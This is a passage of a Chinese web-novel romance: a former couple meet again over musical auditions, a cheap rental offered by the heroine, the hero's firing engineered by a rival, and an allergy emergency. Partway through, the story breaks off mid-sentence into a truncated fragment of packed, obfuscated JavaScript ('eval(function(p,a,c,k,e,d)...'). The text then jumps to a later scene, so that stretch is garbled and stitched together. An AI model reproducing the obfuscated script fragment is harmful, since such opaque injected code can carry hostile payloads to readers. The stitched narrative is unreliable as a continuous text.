林微澜提醒林倩:“她一面唱的是《弗洛瑞安娜》。她的基本功很扎实,但是很怯场。” 林倩这才想起来艾琳是谁,《弗洛瑞安娜》是她女儿的代表作。 主面试官郑东晴望着艾琳,笑意盈盈:“请谈谈你对人物的理解吧。” 艾琳脸颊红红的,声若蚊蝇:“老师,我心仪的角色是女主青绿。” 有些音乐剧因为演出周期长、压力大,同一角色会由多个演员出演,这一场你演,下一场我演。 林微澜来了兴趣,只要艾琳能过关,她们就要饰演同一个角色了。她不免温和地笑了笑,示意艾琳说下去。 艾琳:“我打印了好几份文字稿件,我觉得,文字表达得更清楚。” 纸质打印稿就在艾琳手上,林微澜很感兴趣:“来,给我们看看。” 《天堂鸟》的剧本没有向演员们披露太多,艾琳能写出这么多字很不容易,她对剧情和人物的理解显然是到位的,而且很有自己的想法。 林微澜认可她的态度:“开始表演,不要紧张。” 艾琳表演的是女主青绿的角色曲,也就是水浪熬夜改出来的那一首。 所有的感情都融合在她的表演中了,林微澜看出来了,限制艾琳表现的最大问题是心态。 表演结束,她在艾琳的名字后面打上了一个勾。 二轮面试持续到中午十二点多才结束,林微澜和林倩母女顺道在公司食堂吃饭。 星影传媒的餐饮相当丰盛美味,不逊色于外面的餐馆。 林微澜要了一碗水饺,和妈妈面对面坐在餐厅最角落:“你有觉得不错的演员吗?” “有两三个。”林倩报了几个名字,其中有艾琳,“你可以和他们谈谈签约,我给你资金挖人。” 林微澜笑了下:“谢谢。” “谢什么,你是我女儿啊。”林倩脊背上仿佛有蚂蚁在爬,“不要和妈妈说‘谢谢’。” 她怕气氛冷下来,因此并不等女儿回应,立刻拍下桌面上的两碗水饺,发送朋友圈:“好啦,快给我的朋友圈点赞。” 林倩五十多岁了,并不执着于朋友圈的点赞数,但是她才发的这一条,内容相当特殊。 林倩:【[图片]和宝贝女儿@林微澜在公司食堂吃饭喽~期待女儿首次担任制作人的新剧《天堂鸟》!】 林微澜看完内容,不免会心一笑:“点了。我是不是第一?” 林倩:“可惜了,不是第一。大家的手太快了。” 林倩时常光顾公司食堂,少不了和员工们打照面,员工们习以为常,不会特意来和她打招呼,这也就让她的用餐时间不受打扰。 林微澜就不一样了,为着林倩那条既分享母女日常,又变相替她做宣传的朋友圈,已经有好几个圈内人主动发了消息问候。 【林老师新剧什么时候公演?到时候一定支持。】 【微微姐,才看到你要做制作人的消息,恭喜恭喜~有机会我们合作啊~】 类似的问候越来越多,林微澜来不及一一回复,索性就全部放在一边,得空了再处理。 她没有给别人点赞的习惯,却每天都要粗略地翻一翻朋友圈,既然已经打开了,不如继续看。 忽然,一条由路曦发布的图片映入眼帘。 【路曦:[图片]好崩溃,下了一天一夜的雨,家里又霉又潮,客厅和我的卧室又又又又又漏水了QAQ!我要闹了!】 林微澜吞咽水饺的动作滞停了一秒。 点开路曦发布的图片,图里的环境潮湿灰暗,十分不宜居。 她们一家人就是居住在这种环境里?只怕皮肤病和关节炎会慢慢找上门来吧。 而且,这也不是高中学生备考和癌症病人养病该有的环境。 “微微,别玩手机了,快吃。水饺泡久了可不好吃了。”林倩不明白女儿为何放下了筷子,还一副忧心忡忡的神色。 林微澜退出朋友圈,迅速敛起眉宇间本能释放的愁态。 路潮那句“租谁的都不租你的”犹在林微澜耳侧,叫碗里的猪肉白菜馅水饺顿时失去美味。 她倒了几滴醋,很是勉强地吃了下去,好酸。 * 廖锦从政法大学毕业后,留在上央市做律师,去年还开了家律师事务所。 饭点,四处都不好停车,林微澜在火锅店附近转了一圈,根本找不到空余的车位,她只能到马路对面看一看。 巧得很,真有车位空着。 更巧的是,空车位在一缕炊烟门前。 这条街是上央前几年才翻新的,两侧开满餐饮店,到这附近聚餐的年轻人络绎不绝,林微澜只不过是其中之一。 可这“其中之一”,足够叫她不自觉地往一缕炊烟的玻璃落地窗里觑。 匆匆扫过,只有客人和她不认识的服务生,没有那个人。 她丢毛绒挂件的那个晚上,路潮就是站在门口这棵树下面等她。 “……小事儿,不就是开除路潮嘛!” 林微澜一个激灵,看向声音来源。 一缕炊烟门外的灯箱下,一位穿衬衫的胖男人笑得很是谄媚,和什么人通着电话:“他天天早退接她妹妹,我早就看他不顺眼了。您放心,您不方便开口,我和老板说,老板肯定能同意。” “开除谁?”林微澜脱口而出,叫她自己都一愣。 胖男人一头雾水,他并不认识林微澜:“女士,怎么了?” “我听见你说,你要开除路潮。” “哦,这是我们店里的私事,按规矩来的。” “凭什……”林微澜顿了顿,终究没有问出“么”字,而是话锋一转,“赔付款也按规矩?” “那肯定,咱们一缕炊烟是正经店。”胖男人答。 林微澜没作声,踩着平底鞋走上斑马线。 她心里不是滋味,一股力量把心脏往下从,另一股往上抬,两股力量交错角力,催得她心跳加了速。 一辆洒水车缓缓驶过,她来不及避让水雾,睫羽上沾了几滴零散的水珠,邪念 她走进马路对面的火锅店。 “小锦,没有等太久吧?附近不好停车。喏,抹茶蛋糕。”林微澜落了座,小蛋糕是她给廖锦的礼物。 两个人读高中的时候经常光顾学校附近的甜品店,这么多年了,那家店居然还在营业。 “我也是才到。”廖锦请服务员将抹茶蛋糕切成两半,“这附近好吃的店特别多,下次我带你吃另一家烧烤。” “好啊,吃什么都行。”林微澜温和的眸光落在廖锦脸上,“还有件事,想请你拟个电子版的租房合同,我是房东,今晚就要,可以吗?” 廖锦挑眉:“你想把哪套房产租出去?” “绿源学府,租金按市场价的一半。” “一半?” 瞠目结舌的廖锦坐直了身子,很快意识到林微澜不差钱,她名下有上百栋楼用来收租,不缺一套学区房的租金。 那么她很有可能是为了什么人。 廖锦:“不打算告诉我原因?” “总有一天你会知道的。”林微澜温声说。 “行,帮你拟合同,但是钱我可要照收啊。”廖锦爽快,也懂得朋友之间要有距离,“来来来,我们点菜。” 老规矩,鸳鸯锅,辣锅要特辣,清汤锅则冲着林微澜摆。 正是饭点,不断有客人涌入火锅店,廖锦百无聊赖地瞥了眼街对面,由衷感叹:“一缕炊烟生意好好啊,等位都排到店外面了,可惜太晦气了。” 骂一骂闺蜜的前男友,总没有错。 林微澜为晦气两个字动了下眉心,不置可否。 “说起来,一缕炊烟还是梁觉推荐给我的,是他自己家的店,老板是他妈。” “梁觉家的店?” 耳朵里蓦然听进一个熟悉的名字,林微澜愣了愣。 廖锦:“对啊,你应该还记得他吧?他从高中追你追到大学,可执着了。我们聚会那天他在外地忙,没赶回来。” 林微澜太记得了。 她还猜到,为什么梁觉会向廖锦推荐一缕炊烟作为同学聚会的地点了。 因为梁觉想让她看见路潮。 看看路潮的落魄、难堪,看看路潮一落千丈,再难东山再起。 她也知道,为什么路潮会被开除了。 聘用路潮,先给他一份希望,过一段时间再开除,可能本来就是梁觉恶心人的手段。 她还意识到,自己可能是唯一一个用一句话,就能叫梁觉撤销决定,保住路潮工作的人。 林微澜在好友列表找到梁觉,犹豫了一会儿,没有发出问候。 还是算了,肯租给路潮一套房子,已经算她大发慈悲,何必管其他的事。 不过,路潮居然肯给梁觉家打工,难道一个人的腰,真能弯得那么低吗? 隔着川流不息的马路,林微澜眺望一缕炊烟的方向。 距离太远了,她看得模模糊糊,有个熟悉影子从马路对面的玻璃后一闪而过,瞬间消失不见。 * 夜间九点钟,离一缕炊烟打烊还有一个小时。 店里已经不剩几个客人,路潮换下服务生制服,准备提前下班。 才要走,值班经理就叫住他:“路潮,又接你妹妹去?” 自从路曦被坏学生霸凌,路潮就一直接她下晚自习,已经持续一个月了。 一个月来经理常常睁一只眼闭一只眼,有时还问问路潮是不是要走了,因而今天的路潮并不变化回答,照旧是说:“对。” 谁知经理挺着啤酒肚走过来,严肃的脸好像一块油板:“告诉你一件事,明天起你不用来了,你被开除了。” 路潮好像在听天方夜谭,半晌才反应过来:“我被开除?” 经理早准备好了说辞,气定神闲:“一个月了,你哪天没早退去接你妹妹?那么大个孩子了,还需要你接?她明年高三,你的心就更不在工作上了。你放心,该赔你的钱一 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“路哥,你要被开除?”突然有人从背后叫路潮,是餐厅的另一位服务生。 路潮和对方关系一般,只能说没有过冲突:“不一定。” 同事流露出一丝不忍,他环顾四周,确定经理没在盯着这一块,才把路潮叫到了没人的地方,低声说:“今天下午,你在里头包厢招待客人,我在外面大厅里忙,听见经理和人打电话……路哥,我觉得,你可能被他们坑了,他们是故意开除你的。” 路潮睫羽一颤,恍然大悟。 答案出乎意料,又在意料之中,现在路潮完全冷静下来了,可以分析出事情背后的原因——恐怕,不止他经常早退这一层。 见路潮迟迟不应声,同事补充了句:“真的,我和李姐都听到了,不信你可以问李姐。” 他很快又补充:“当时还有个客人路过,也好奇地问了两句。” “我知道了,谢谢你啊。”始终被路潮攥在掌心的辞退通知,被他草草叠好,放进裤子口袋里。 他叫同事先去忙,不要耽误店里的事,自己则翻出通讯录里一个很少联系的名字,嘟嘟嘟三声,电话接通:“姓梁的。” 梁觉并不惊讶,仿佛早知道会接到这通电话:“路潮,是你啊。你看,我叫你留一个我的联系方式,没准以后会用上,我没有说错。” “梁觉,你到底想干什么?”路潮咬牙切齿,强忍着愤怒,“是你撺掇老板开除我的吧?” 梁觉:“我听不懂你的意思。” “别装!你是什么样的人,你以为我不清楚?高二就是你向老师举报我和林微澜谈恋爱!”旧账重提,路潮恨得一拳砸向墙壁。 梁觉却心平气和,头头是道地和老同学掰扯:“我没有举报错,你和女同学关系亲密,不像样子。我叫我母亲开除你也没有错,这一个月里,除了周末,你每天都早退,严重影响了我们餐厅的业务。当初给你这份工作,是看在老同学的情谊上,可惜我们的情谊不足以支撑你继续放肆。” 路潮气得快要发笑:“不要说得那么冠冕堂皇,梁觉,你真是个小人。” 再难听的话,他从前都骂过了,梁觉完全波澜不惊:“路潮,都什么时候了,你确定不说些软话?我以为你会向我求情。” 掐入掌心的指甲嵌得更深,但凡再用一分力,就能割破皮肉。 走廊尽头的窗户半开,吹动路潮的发丝——说软话,的确有这么一条路可以走。 然而对方是梁觉。 是路潮最恨、最恶心的梁觉。 如果没有他……林微澜不至于把他像条狗一样抛弃了。 “说啊,为你自己求求情啊,考虑考虑令堂令妹。”梁觉等得很有耐心。 路潮胃里一阵恶心,他真的没有办法了,至少在找到新工作前,他需要把这份工作做下去。 可他做不到向梁觉低头。 真的做不到。 路潮只能弱下一二分语气,阐述自己的难处:“我需要这份工作,我需要赚钱养家。我们高中同班三年,是老同学了,没必要闹成这样。” 梁觉很不满意:“还有吗?” 静默数秒后,梁觉忽然轻轻笑了一声:“看来是没有了。正好,我妈的主意已经定了,这书面通知也白纸黑字,还盖了章,改不了了。” 路潮气急:“你——!” 他越恼火,梁觉就越游刃有余:“路潮,我给你指条路,凭你这条件,你还可以去卖啊。” ……卖?路潮脑中轰的一声,现出一道身影来。 “林微澜不是回国了?你去求求她,说不定她大发慈悲,真愿意买你。” 原来不止有一条路可以走,梁觉把一条路堵死了,却为路潮指了另一条。 去卖,把身体出卖给林微澜,换取他急需的金钱。 原来他还可以卖? 但是他怎么能去卖! 他是人啊,他是有尊严有人格的人啊,他怎么可以去卖!…… 如果真走这条路,林微澜会要他吗?会出钱买他吗?她会怎么看待他?总之他不能接受别人,也不会想别人,林微澜是唯一的可能。 14. 一缕细雾 上央一中作为市重点,中考分数线叫大部分学生望尘莫及,但是学生们的性格、家庭并不像中考成绩那样差异甚小,什么样的学生都有。 高一下学期分完班,林微澜认识了一个叫梁觉的转校生。 梁觉长得好看,成绩名列前茅,那段时间,她和梁觉走得特别近。 近到路潮忍不了,在放学回家的路上问她:“你不会喜欢梁觉吧?” 林微澜愣了下,明眸泛起一缕轻波。 路潮插在兜里的手管不住了,一个劲儿地想冲破布料,随便从哪个方向破出来,最后锤在梁觉身上才好:“一下课他就来找你,晚自习课间你们又趴在栏杆上说话。你究竟什么意思啊?” 林微澜轻飘飘地睨他:“一下课,你也来找我;晚自习课间,我和梁觉聊得好好的,你非要挤进我和他中间。我还想问你,你这又是什么意思?” “我、我……”路潮磕磕巴巴的,好半天憋不出完整的话,“反正我就是不喜欢他靠你太近,我不喜欢!” “谁管你喜不喜欢?” 林微澜并不生气,甚至想笑。 她沉静的声线像一条轻柔纱帽,轻轻在路潮心尖上拂了下,痒痒的:“我喜欢就够了。” 胸口被推了推,力气不大,路潮却觉得自己胸前多出一块青紫瘀痕,疼得厉害。 因为他听见林微澜说:“今天你别跟我一起回家,你像个小丑。” 但他的心很快又不疼了,只因林微澜逆着皎洁的月华,向他回眸一望:“但是明天早上你要早点来等我,我想吃学校旁边新开的早餐店。” 痒,路潮的心好痒,林微澜说不跟他一起回家,又说明天早点接她……这不就是专门挠他的心窝吗? “林微澜,等一会儿!”路潮追上去,怕她像阵风似的飘走,“刚才我惹你生气了吧?你别生气,我给你道歉。” “嗯。”林微澜的回应相当敷衍。 自那之后,路潮的心足足痒了半个月,无论他怎么问,林微澜关于梁觉的回答都模棱两可。 她越不给答案,他试探询问得越多,以至于心思全从学习上挪走了,月考从年级前三掉到八十多名。 路潮垮了一整节课的脸,觉得没脸去见林微澜,然而林微澜却从他身边经过,留了一句话:“你最近在学什么东西?你是蠢人吗?” 于是下一次的月考,路潮就考到了年级第二,只在林微澜后一名。 那天他很欢喜,晚自习最后一节课还没打下课铃就收拾好了书包,只等着一响铃就冲到林微澜座位边上去。 林微澜却比他更快,隔着一条走廊唤他:“走。” 路潮的魂儿就这样跟着他走了,身体却还落在后头,明明出校门了,整个人还轻飘飘的,没有实感。 直到林微澜冷不丁冒了句话:“你已经偷偷盯着我看了一路了。” 路潮的脸倏然通红:“你好看。真的,我没骗你,我的话真得要死。” 校门口的车辆川流不息,人群熙熙攘攘,轰,轰,轰,是一个个发动机在叫。 路潮往左边靠近了一点点,期望与林微澜拉近距离。 下一瞬,食指上就添加了一道轻轻的力量,起初还以为是错觉,直到那力量加重,他才恍然大悟。 “你、你做什么啊?”路潮脸通红,结结巴巴地发问。 林微澜的语气也比平时轻了:“我怎么了?” 路潮脆生生的:“你勾我手指头了!” “我没有,是你的错觉。”林微澜定定盯着他,直到自己耳根也染上红色,她不得不装作咳嗽,用手捂住了嘴巴。 “就……就是有……”说到这里,路潮一个字都憋不出来了。 这时,林微澜故作漫不经心地启唇:“路潮,你的手好热。真的。” 不止是路潮的手发热,她自己的心口,也热得冒了泡。 * 九点半,路潮准时在一中门口接到路曦,兄妹俩骑摩托车回家。 他失业了。 这个时代失业的人如同沙砾,根本数不清,其中有许多人和他一样,靠着一份并不丰厚的收入养家,一旦丢了工作,心里难免空落落的。 药钱、学费、柴米油盐……做什么都要钱。 路潮在摩托头盔里叹了口气,还好他叹得很轻,后座上的路曦完全没察觉,还在摇头晃脑地唱歌。 路潮:“坐好,别晃。” 路曦:“哦!” 失业的事暂时不能告诉路卓君,她需要身心愉快,才好养病,却不能不告诉妹妹:“小曦,和你说件事。” 路曦以为又是学习上的事情,语气不太好:“什么!” 路潮沉默了几息,喉结微微滚动:“你哥被开除了。” “……啊?”路曦唱歌的心戛然而止,她僵着脸,没听清似的,“哥,你失业了?” 路潮:“你别给妈说,最近花钱节省点。没事的,我再找别的工作就好了,只是可能需要些时间。” 路曦扶了扶自己的头盔,她非要找着事情做、找点话说,才遮掩得住自己的窘迫和难过:“对啊,工作没了就再找嘛!我哥有手有脚的,哪怕去工地搬砖,都是搬得最快的那个!” 路潮鼻尖发酸,顿了好一会儿才说话:“你想回家还是去医院?” “去医院!”路曦戳了下哥哥肩膀,“我想咱妈了。” “好,带你去。”路潮说。 * 医院。 病房是三人间,路潮兄妹俩一来,就显得拥挤了。 路曦到开水间接热水,路潮就在床边给妈妈削苹果吃:“妈,你笑什么?” 路卓君在商场打拼多年,争强好胜连得了癌都要做看病最积极的那个。 她的身体情况不适合到外面工作,平时就在网络上帮人写文案、写简历,做些轻松的工作,赚一份微薄的收入:“这个月快交房租了,我来出,别从你那儿给。” 家里的积蓄交房租是够的,但是家里的收支一旦出现窟窿,就会越漏越大,很难填补。 “行,你给,我不和你抢。”苹果削好了,路潮把它递给母亲,马不停蹄地开始在求职app上找工作。 他的毕业院校在国内赫赫有名,可惜专业限制求职限制得太厉害,工作不是那么好找的。 滴—— 短信提示音响了。 路潮的心思全在找工作上,一开始根本没看清是谁发的消息,他反复瞟了好几眼,视线陡然聚焦—— 林微澜的短信。 她主动给他发消息? 路潮手抖得点不开屏幕,试了好几次才成功。 林微澜:【[链接]这是租房的电子合同,你点进去签字。你们搬进去之后,给我说一声。开门密码是我生日。】 ……租房? 她主动的?而且,把合同都准备好了? 路潮的手稍微平复了些,点进去一看,就是绿源学府那套,月租金居然只要一千元,无异于做慈善。 这算什么? 他登门拜访,她却戏耍他;他失业了,她的租房合同就巧合地来救他于水火了。 只要顺着她递来的藤蔓往上爬,就能浮出冰凉刺骨的水面,多么简单的答案,路潮却反复深呼吸了几次,生出一股怒意来。 路潮不要“来路不明”的房子。 他不稀罕林微澜出于戏弄的施舍。 路潮按着手机屏幕,就像按着自己的心脏:【什么意思?】 林微澜:【你妈妈和你妹妹,都需要更好的居住环境。不要有心理压力,等你的经济宽裕了,你可以按市场价补上欠我的租金。】 这理由倒是找得很好,卸完了路潮的压力。只是,路潮竟翻来覆去读了好几遍。 一个字都没有提起他。 一个字都没有。 林微澜施以援手,完全是看在他家人的面子上,和他没有任何关系,他曾经抛出去的真心就这么不值钱吗? 但是,但是,有没有一种可能,其实林微澜也希望他过得好一点,碍于面子不说呢? ……没可能的,路潮自嘲地笑了下,没有这种绮丽浪漫的可能。 林微澜讨厌死他了。 她的那一巴掌那么响,把累积的七年感情全打碎了、打散了。他狼狈地想要拾拣,却徒劳无功,眼睁睁望着所有的碎片化为乌有,随风消失。 路潮瞥了眼面色苍白里的路卓君,路卓君生病前后的精气神大不相同,一个好的住所,兴许就能让她的面色再红润些;还有小曦的学业、安全,都是路潮这个做哥哥的要考虑的。 有些东西他不稀罕,他的家人却十分需要。 他需要的不仅是钱,还需要给家人提供宜居的环境。 牙一咬,路潮拉到电子合同最后,签署下自己的名字。 租房有着落了,他也往林微澜怀着好意挖的坑里落了。 日积月累的租金差价,是他要还的债。 他拿什么还? 真要和梁觉说的那样,拿身体抵债? 路潮莫名笑了声,林微澜有大明星做男朋友,哪里瞧得上他的身体。 路潮:【签好了。租金我用小曦的微信转给你。】 他的微信大号还在林微澜黑名单里,没可能刑满释放,又不能暴露水浪那个小号。 林微澜:【你没有疑问吗?】 路潮:【没有疑问。】 林微澜:【原来你还记得我的生日。】 路潮:“……” 这个女人又来耍他!!! 她说开门密码是她的生日,又不告知具体是哪一天,就是在等这一刻! 对啊,他没忘记林微澜的生日! 他们在一起的日子、分手的日子,他统统都没忘,包括林微澜这个人,他也一辈子忘不了——她满意了吗!? 路潮:【我忘了。你生日是哪天?】 林微澜:【1210。】 的确是1210。 她没有故意报一个错误的日期,路潮的眼眶却酸得看不成手机了,就到卫生间洗了把脸,久久凝视镜子里的自己。 这张脸,曾经被林微澜赞美或亲吻过很多次,并且很好地保持着风采,现在,就算拿它当资本去勾|引林微澜……林微澜也不会多看一眼的。 * 二轮面试的次日是周六,演员们无论入选还是落选,都在这一天得到了确切的通知。 同一天晚上,由林微澜做东,宴请《天堂鸟》剧组所有成员吃饭。 她礼貌性地邀请了水浪,不出意外,又被拒绝了。 拒绝就拒绝,不缺他一个,林微澜只是遗憾,至今仍不能一睹水浪的庐山真面目,毕竟很少有人的音乐品味与她契合到这种地步。 在场的所有人里,会喝酒的人占少数,林微澜问过大家的喜好,干脆给不喝酒的人都点了奶茶。 十几人的大单子,奶茶店做得不快,还好店面离餐厅非常近,店员打来电话说,出餐后会安排人送过来。 “林老师,我敬您,我一直是您的粉丝。谢谢您给我机会,我一定做好该做的,不让您失望。” 艾琳端着酒杯过来,神色腼腆地给林微澜敬酒——她不会喝酒,用饮料代替了。 林微澜也不喝酒,她微笑着回敬艾琳:“不用谢我,是你自己抓住了机会。” 敬完林微澜,艾琳又给郑东晴敬,稍微根据对方的身份变了变话术。 “请问,是你们点了二十三杯奶茶吗?” 饭吃到一半,包厢外走进来个推手推车的小姑娘,一脸学生样。 她本能地看向包厢里最引人注目的那位美丽女士,随后吓了一跳:“微微姐?” 林微澜也惊得不轻,为什么来送奶茶的人,会是路曦? “是我们的点的奶茶。”她克制着情绪,帮路曦把奶茶的数量、品类清点清楚,“都对得上。” 路曦笑嘻嘻的,多少有点心虚:“对得上就好,对得上就好。” “我有话和你说。”林微澜却把她拉出包厢,找了个人少的地方,温声问,“今天是周末,你做兼职?你家里人知不知道?” 路曦双手合十作揖,生怕偷偷做兼职的事露馅:“微微姐,别告诉我哥。我说和同学出来玩才骗过他的。今天是我第一天试工……” 从她决定找个兼职缓解家里的经济压力,到上岗试工,也就是一个晚上加半个白天的事。夏天了,奶茶店经常爆单,会招很多人手。 “你几点下班?”林微澜很无奈。 “九点!” “那么晚?你怎么回家?” 路曦发了愁:“打车呀,肯定不敢叫我哥接我,否则就露馅了……” 一想到路曦前段时间的遭遇,林微澜很难放心:“九点钟,我这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路曦驻足,笑眯眯地回头望她:“当然不会啦!我哥说他租到了一间又便宜、环境又好的学区房,我们下周末就搬家!” 一缕波澜掠过林微澜面庞,她旋即恢复了云淡风轻:“那就好。” 感应路灯大抵是出问题了,明明有人在走,还要明明灭灭地忽闪,路家人住在二楼,最容易受到潮气侵袭的楼层之一。 “微微姐,请进!不用换鞋啦,我倒饮料给你喝。”路曦毫不觉得请客人来自己潮湿简陋的家值得羞耻,她热情迎接了林微澜的到来,大踏步地打开窗户透气,又扑到冰箱旁边取饮料。 “你哥哥什么时候回来?”林微澜进了屋,她很想看路潮的表情,她来了他家,他会是什么反应? “应该快了吧。微微姐,你有事情找他?”关于林微澜对路潮的态度,路曦想得很简单,大概率是旧情未了。 只要林微澜说一声“是”,她立刻给路潮打电话轰炸。 林微澜:“没事,随便问问。” 路曦大失所望,居然只是随便问问。 她倒了一杯橙汁来,问林微澜要不要吃零食,林微澜只接受了前者。 沙发是木质的,铺了一长条坐垫,坐感不算太舒适。林微澜患过腰伤,坐不了太硬的椅子,可她不介意这短暂的不适感,暴雨下不了太久的,很快就会停。 橙汁一点点灌进腹中,酸,甜,还有痒。 ……对,是痒。 浑身都蔓延着一种怪异滋味,林微澜狐疑地低头,往胳膊上一看,红色的疹子已经不知不觉蔓延开一大片了。 像是被打开了某种开关,她立时咳嗽了几声,而且越来越严重。 路曦浑然不觉,根本不知道她怎么了:“微微姐,我再给你倒点儿橙汁。” “不用了。”林微澜拒绝了路曦,镇定自若地把胳膊递给她瞧,“我过敏了,急性过敏。” 路曦这才发现林微澜身上的大片红疹,错愕不已。 “我需要去医院。”严重的过敏有可能威胁生命,林微澜捂着心口,慢慢地吐息,“这样吧,我一个人怕路上出意外,所以请你陪我……” 吱呀—— 沉重老旧的大门从外面打开了,卷进上央市潮湿的夜风。 路潮浑身湿透,提着摩托车头盔喘气,雨珠顺着他的发丝流淌,滑进衣襟下。 “哥!”路曦如同看见了救星,大步冲刺过去,“微微姐急性过敏,要赶紧去医——你、你怎么淋成这样?” 妹妹的后半句话,路潮根本没有听见。 他整颗心都被沙发上的人影占据了。 ……林微澜,在他家? 一个有社会经验的成年人有时远比一个高中生可靠,林微澜站起来,无奈地展示手臂:“我过敏了,路潮。” 路潮回神,咬牙切齿:“快点去医院,我开你的车送你。” “你不换衣服?”林微澜还算冷静。 “换什么换?命重要还是换衣服重要?”路潮着急了,生怕再拖下去林微澜会有三长两短,“快走!” 不换就算了,林微澜拿起包往外走,经过路曦身边时,她听见一阵抽抽搭搭的稀碎哭声。 “小曦?”林微澜以为路曦在自责,“我过敏不关你的事。” 路曦却答非所问,她拉着林微澜布满红疹的胳膊请求:“微微姐,你别让我哥开车,好不好?雨太大了,你别让他开。” 路潮顾不得耐心解释,说话冲劲儿很大:“她过敏了,我不开谁开?!你在家把门锁好。” 说完,路潮先行下楼,林微澜头重脚轻地跟在他身后,难受得看不清路,不得不半蹲身子,扶着墙壁唤:“路潮。” 视线黑了半瞬,等到她回神,路潮已经在她跟前弯下了腰:“来,我背你。” 愣了短短一刹,手臂就娴熟地攀上他肩膀,林微澜缓缓地,将浑身重量倾上路潮的后背。 路潮背着她,又稳又快地迈下狭窄昏暗的楼梯间。 他的后背全被雨淋湿了,害得林微澜也跟着遭罪,两个人的肌肤却因此贴得更紧。 路潮的体温,她曾经最熟悉,这样的姿势,她也最熟悉。 林微澜尝试着找寻其他的回忆,她记得路潮背过她很多次的,却因为混沌的头脑徒劳无功,只知道路潮的脊背,从前没有这么硌人。 眼前模模糊糊的一团,好像看见前方不是窄窄的小巷,而是嘉珑花园的绣球花花丛,她攀在男朋友后背上笑吟吟地说着话。 哪一幕是真的,哪一幕是假的,还是说都是梦呢?他们是不是真的相爱过,是不是真的分手了? 林微澜分不清了,凭本能喃喃地抱怨:“……你太瘦了。” 太瘦了,后背不如从前那么宽厚,能让她心安。 路潮脚步缓了下,托着她的身体走